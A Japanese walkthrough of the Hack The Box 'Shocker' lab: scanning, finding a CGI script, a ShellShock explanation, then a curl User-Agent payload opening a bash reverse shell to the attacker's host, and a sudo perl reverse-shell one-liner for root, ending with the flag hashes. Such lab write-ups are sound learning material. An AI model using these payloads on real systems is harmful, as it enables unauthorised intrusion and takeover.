【Hack The Box】Shocker Walkthrough
はじめに
ポートスキャン
# nmap -sC -sV -Pn 10.10.10.56
80(http)、2222(ssh)が開いている。
※nmap -p- 10.10.10.56も実行し、ポート検出漏れしていないかも確認。
ブラウザで80番ポートへアクセス
画像が表示されるだけ。ソースコードからも次につなげられる情報はない。
ディレクトリスキャン
gobuster dir -u http://10.10.10.56/ -w /usr/share/dirb/wordlists/common.txt -s 200,301,302,403 -t 100
/cgi-bin/は403(forbidden)が返ってきているが、これはcgi-binディレクトリのディレクトリリスティングができないというだけで、このディレクトリ配下にあるファイルにはアクセスできる可能性がある。拡張子を指定し、再度スキャンを実行する。
マシン名がShockerという点と、cgi-binディレクトリの存在を確認できた時点でbashの脆弱性(ShellShock)が連想できる。cgi-binディレクトリには何らかのcgiスクリプト(.sh)があると予想できる。
gobuster dir -u http://10.10.10.56/cgi-bin/ -w /usr/share/dirb/wordlists/common.txt -x .pl,.sh,.cgi -s 200,301,302,403 -t 100 ※拡張子には、Perl、シェルスクリプト、cgiを指定。(cgiスクリプトはPerlで書かれていることが多いという記事を見たので、一応入れた)
user.shのステータスコードが200で返ってきたので、ここにアクセスできそうだ。
user.shの確認
curl -v http://10.10.10.56/cgi-bin/user.sh
cgiスクリプトはContent-Type:
から始まり、空行を入れて以下に続いていくという書き方をする。この空行はHTTPレスポンスのヘッダ部分とボディ部分の境界を意味する。
ShellShockについて調査
metasploitでも攻略できたが、ShellShockについて脆弱性の概要を知らなかったので調べた。自分の理解では以下。
・Webサーバはcgiスクリプトを動かす際に、クライアントの情報をシェルの環境変数に設定する。
※このとき設定される変数のことを「cgi環境変数」という。例えば、以下のサイトでcgi環境変数が確認可能。
環境変数確認(CGI環境変数)
・cgi環境変数として設定された文字列を関数として扱う際の処理に問題があり、cgi環境変数に「() {」から始まる文字列がセットされると、その中に含まれるコード(やコマンド)を無条件に実行してしまう。
・イメージ図は以下のサイトが分かりやすかった。
Shell Shock/Heartbleed | 日経クロステック(xTECH)
user.txt取得まで
環境変数UserAgent
に10.10.14.10の1234ポートと通信するコードを埋め込んだリクエストを送った。上記で調べた通り、(){
という文字列をセットする。
curl -A "() { :;};/bin/bash -i >& /dev/tcp/10.10.14.11/1234 0>&1" http://10.10.10.56/cgi-bin/user.sh
nc
で待ち受けておくと、shellyという名前のユーザでシェルが返ってきた。
これでuser.txtをゲット。
root.txt取得まで
shellyが特定のコマンドでsudo権限持っているかを確認。
sudo -l
root権限でperlが実行できる。perlでリバースシェルゲットを目指す。以下から持ってきた。 Reverse Shell Cheat Sheet | pentestmonkey
sudo perl -e 'use Socket;$i="10.10.14.11";$p=2222;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
root権限でシェルが返ってくるので、root.txtを確認して終了。
user.txt:2ec24e11320026d1e70ff3e16695b233
root.txt:52c2715605d70c7619030560dc1ca467